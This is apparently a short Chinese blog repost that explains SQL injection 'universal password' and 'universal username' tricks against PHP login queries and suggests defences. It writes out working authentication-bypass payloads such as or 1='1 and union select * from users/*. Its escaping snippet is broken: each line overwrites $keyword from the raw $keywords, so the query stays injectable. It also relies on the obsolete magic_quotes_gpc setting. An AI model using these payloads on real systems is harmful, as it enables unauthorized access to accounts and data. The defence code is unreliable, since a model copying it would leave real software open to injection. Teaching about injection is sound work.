php万能注入密码,php下的SQL注入万能用户名和密码
1.針對有單引號的情況 :
萬能密碼 :?select * from users where username='xxxx' and password='xxxxxx' or 1='1';
萬能用戶名 :?select * from users where username='xxxx' union select * from users/* and password='xxxxx';
防止第一種萬能密碼 : 設置 php.ini 中的 magic_quotes_gpc = On ;
2.沒有單引號的情況 :
萬能密碼 : select * from users where username=數字 and password=數字union select * from users;
萬能用戶名 :?select * from users where username= 數字?union select * from users/*?and password=數字;
3.搜索SQL注入的情況 :
防止查詢SQL的攻擊,對關鍵字進行過濾 :
//當php.ini中magic_quotes_gpc開啟時,不要使用addslashes,否則會造成雙重轉義
$keyword = addslashes($keywords)
$keyword = str_replace("%","\%",$keywords);
$keyword = str_replace("_","\_",$keywords);
$sql= "select * from users where username like '%$keyword%'";
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的php万能注入密码,php下的SQL注入万能用户名和密码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php微信分享时好时坏,手机端微信分享前
- 下一篇: oracle中col 的用法,Oracl